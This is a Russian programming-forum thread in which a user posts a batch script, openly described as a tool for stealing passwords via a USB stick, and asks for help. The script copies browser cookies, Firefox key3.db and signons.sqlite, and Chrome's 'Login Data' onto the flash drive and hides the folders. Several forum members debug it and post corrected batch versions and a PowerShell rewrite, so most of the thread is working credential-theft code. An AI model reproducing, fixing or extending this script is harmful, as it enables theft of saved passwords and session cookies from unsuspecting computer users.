Форум программистов, компьютерный форум, киберфорум
Batch (CMD/BAT)
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.62/13: Рейтинг темы: голосов - 13, средняя оценка - 4.62
0 / 0 / 0
Регистрация: 12.11.2018
Сообщений: 2

Проблема в простом ( для знающих людей ) батнике

12.11.2018, 20:22. Показов 2857. Ответов 11
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Ребят, помогите пожалуйста, в общем...
У меня возникла проблема, в том что батник не может достать файл и скопировать на флешку, смотрите и попытайтесь понять:
Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@echo off
md %~d0\Mozilla
md %~d0\Opera
md %~d0\Google
CD/D %AppData%\Opera Software\Opera Stable
copy /y Cookies %~d0\Opera 
cd %AppData%\Mozilla\Firefox\Profiles\*.default
copy /y cookies.sqlite %~d0\Mozilla
copy /y key3.db %~d0\Mozilla
copy /y signons.sqlite %~d0\Mozilla
copy /y AppData%\Mozilla\Firefox\Profiles\*.default %~d0\Mozilla
cd %localappdata%\Google\Chrome\User Data\Default
copy /y "%localappdata%\Google\Chrome\User Data\Default\Login Data" "%~d0\Google"
ATTRIB -R -A -S -H
attrib +h %~d0\Mozilla
attrib +h %~d0\Opera
attrib +h %~d0\Google?
Вот это код для стила паролей с помощью флешки, крч...
CD/D %AppData%\Opera Software\Opera Stable
copy /y Cookies %~d0\Opera - Работает, достает файл Cookies в Папку Opera, теперь самое главное,
Мне нужно переделать данный код под то чтоб он брал не файл Cookies, а файл Login Data, находящийся в этом же месте что и Cookies, при попытке просто изменить Cookies на Login Data достает - ничего. Мне нужна ваша помощь, в программировании я полный 0!
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
12.11.2018, 20:22
Ответы с готовыми решениями:

непонятная для меня ошибка прошу объяснить знающих людей
Я обращаюсь с проблемой во вроде бы рабочей программе. Задача была построить программу с сортировкой массивов методами пузырька и шейкера....

БП для gtx760 (очень нужен совет знающих в этом толк людей)
Всем добрый день, нужен БП для моей карточки гтх760. Помогите что-то выбрать, цена примерно 500 грн. Желательно что бы не сильно шумный...

Задание по Visual Basic (для знающих людей должно быть легко)
Сразу хочу прояснить ситуацию. Помощь прошу не потому что лень самому делать, а потому что не понимаю как. Долго рылся в интернете и в...

11
4340 / 2130 / 661
Регистрация: 26.04.2015
Сообщений: 6,823
12.11.2018, 23:33
Цитата Сообщение от Xwell Посмотреть сообщение
а если серьезно - задачу сюда полностью и что требуется получить, никто в вашей каше разбираться не будет.
0
 Аватар для volodin661
6625 / 2256 / 346
Регистрация: 10.12.2013
Сообщений: 7,803
12.11.2018, 23:49
Цитата Сообщение от alpap Посмотреть сообщение
никто в вашей каше
вот это, Alpap, как раз нормально написанный cmd, таким он и должен быть.

Xwell, "Login Data" заключить в кавычки, потому что в середине пробел.
0
6962 / 2857 / 1098
Регистрация: 06.06.2017
Сообщений: 9,694
13.11.2018, 00:16
Xwell, + в 11 строке % перед AppData пропущен.
1
0 / 0 / 0
Регистрация: 12.11.2018
Сообщений: 2
13.11.2018, 07:01  [ТС]
Обьясните что это значит? -R -A -S -H
0
 Аватар для volodin661
6625 / 2256 / 346
Регистрация: 10.12.2013
Сообщений: 7,803
13.11.2018, 08:08
Встроенная помощь:
Windows Batch file
1
HELP ATTRIB

сначала все файловые атрибуты у всех файлов сбрасываются,
затем выставляется атрибут hidden у каталогов mozilla opera google.

Зачем, не знаю.
Да и вообще полно ошибок кроме тех, что указаны.


Вот так получше:
Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@MKDIR          "%~d0\Mozilla"
@MKDIR          "%~d0\Opera"
@MKDIR          "%~d0\Google"
@CD             "%AppData%\Opera Software\Opera Stable"
@COPY   /Y      Cookies         "%~d0\Opera" 
@CD             "%AppData%\Mozilla\Firefox\Profiles\*.default"
@COPY   /Y      cookies.sqlite  "%~d0\Mozilla"
@COPY   /Y      key3.db         "%~d0\Mozilla"
@COPY   /Y      signons.sqlite  "%~d0\Mozilla"
@COPY   /Y      "%AppData%\Mozilla\Firefox\Profiles\*.default"  "%~d0\Mozilla"
@CD             "%localappdata%\Google\Chrome\User Data\Default"
@COPY   /Y      "%localappdata%\Google\Chrome\User Data\Default\Login Data" "%~d0\Google"
@ATTRIB         -R -A -S -H     *
@ATTRIB         +H "%~d0\Mozilla"
@ATTRIB         +H "%~d0\Opera"
@ATTRIB         +H "%~d0\Google?"
Добавлено через 2 минуты
Но даже в таком виде всё это бабушкины сказки,
потому что инструментом автоматизации в Windows является оболочка powershell

Добавлено через 53 минуты
как-то так:
PowerShell
1
2
3
Copy-Item -force -Path  "$ENV:AppData\Opera Software\Opera Stable\Cookies"             -Destination Opera\
Copy-Item -force -Path  "$ENV:AppData\Mozilla\Firefox\Profiles\*.default"              -Destination Mozilla\
Copy-Item -force -Path  "$ENV:localappdata\Google\Chrome\User Data\Default\Login Data" -Destination Google\
0
6962 / 2857 / 1098
Регистрация: 06.06.2017
Сообщений: 9,694
13.11.2018, 10:33
Цитата Сообщение от Xwell Посмотреть сообщение
Обьясните что это значит? -R -A -S -H
Ключи на сброс атрибутов у всех файлов в корне рабочей папки (из 12 строки). В ключе -A смысла как такового нет.
Объясните, зачем вообще вам последние 4 строки с attrib?

Цитата Сообщение от volodin661 Посмотреть сообщение
Вот так получше:
Нет смысла в кавычках для корня флешки и имён папок без пробелов. cd на пробелах не обрывается и берёт всю строку до конца. К тому же в первой команде ключ /d обязателен. Так что лучше не стало.
0
4340 / 2130 / 661
Регистрация: 26.04.2015
Сообщений: 6,823
13.11.2018, 12:29
Цитата Сообщение от volodin661 Посмотреть сообщение
полно ошибок кроме тех, что указаны.
а это еще и не все

куда будет переход?
Цитата Сообщение от Xwell Посмотреть сообщение
cd %AppData%\Mozilla\Firefox\Profiles\*.def ault
в первую по алфавиту папку "...\name.default"? Если это папки в пути, иначе если файлы, то далее Profiles не уйдем и пивать оное нет смысла

Цитата Сообщение от volodin661 Посмотреть сообщение
%~d0\...
в конструкции %~d0 обратный завершающий слеш уже есть, где-то он помешает работе.
0
6962 / 2857 / 1098
Регистрация: 06.06.2017
Сообщений: 9,694
13.11.2018, 12:47
Цитата Сообщение от alpap Посмотреть сообщение
куда будет переход?
Тоже хотел отметить.
Цитата Сообщение от alpap Посмотреть сообщение
в конструкции %~d0 обратный завершающий слеш уже есть
Вообще-то нет. Буква с двоеточием передаётся без бэкслеша.
0
4340 / 2130 / 661
Регистрация: 26.04.2015
Сообщений: 6,823
13.11.2018, 12:57
Цитата Сообщение от FlasherX Посмотреть сообщение
Вообще-то нет. Буква с двоеточием передаётся без бэкслеша.

Xwell, уже если понятнее писать, а не компактнее, то вероятно так читабельнее:
Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@echo off
set "Mozilla=%AppData%\Mozilla\Firefox\Profiles\*.default"
set "Opera=%AppData%\Opera Software\Opera Stable"
set "Chrome=%localappdata%\Google\Chrome\User Data\Default"
 
md "%~dp0Mozilla"& cd /d "%~dp0Mozilla"
copy /y "%Mozilla%\cookies.sqlite"
copy /y "%Mozilla%\key3.db"
copy /y "%Mozilla%\signons.sqlite"
copy /y "%Mozilla%"
 
md "%~dp0Opera"& cd /d "%~dp0Opera"
copy /y "%Opera%\Cookies"
 
md "%~dp0Google"& cd /d "%~dp0Google"
copy /y "%Chrome%\Login Data"
 
cd /d "%~dp0"
ATTRIB -R -A -S -H
attrib +h "Mozilla"
attrib +h "Opera"
attrib +h "Google"
 
pause
0
6962 / 2857 / 1098
Регистрация: 06.06.2017
Сообщений: 9,694
13.11.2018, 13:19
alpap, не стоит путать %~dp0 с %~d0. Та же ошибка в вашем коде.
1
4340 / 2130 / 661
Регистрация: 26.04.2015
Сообщений: 6,823
13.11.2018, 16:43
Цитата Сообщение от FlasherX Посмотреть сообщение
не стоит путать %~dp0 с %~d0
а так и есть, я недоглядел

Добавлено через 2 минуты
но при запуске с корня диска нет разницы, только в слеше.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
13.11.2018, 16:43
Помогаю со студенческими работами здесь

База данных для сетевого органайзера, необходим совет знающих людей
Я уже обращалась сюда некоторое время назад и должна была бы уже написать чего-нибудь полезное, но планы поменялись и времени небыло....

Нужно мнение от знающих людей
Уважаемые Форумчане! Помогите советом и направьте в правельном нправление, спасибо! Наконец-то доделал свой сайт...

Прошу совета у знающих людей
Всем привет! Прошу помощи у знающих людей, нужно собрать системник. Необходимо, что-бы он справлялся с расчетами в excel 2010, файлы с...

Нужна совет знающих людей
Доброе время суток, уважаемые пользователи форума! Прошу помощь мне с выбором нового телефона, ибо я в замешательстве:help: Раньше, когда...

Прошу совета знающих людей
Очень хочу стать програмистом,привлекает эта работа,но я обучаюсь в небольшом вузе провинциального города.. Оказалось,что нужным вещам...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
12
Ответ Создать тему
Новые блоги и статьи
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
Фото: Daniel Greenwood
kumehtar 13.11.2025
Расскажи мне о Мире, бродяга
kumehtar 12.11.2025
— Расскажи мне о Мире, бродяга, Ты же видел моря и метели. Как сменялись короны и стяги, Как эпохи стрелою летели. - Этот мир — это крылья и горы, Снег и пламя, любовь и тревоги, И бескрайние. . .
PowerShell Snippets
iNNOKENTIY21 11.11.2025
Модуль PowerShell 5. 1+ : Snippets. psm1 У меня модуль расположен в пользовательской папке модулей, по умолчанию: \Documents\WindowsPowerShell\Modules\Snippets\ А в самом низу файла-профиля. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru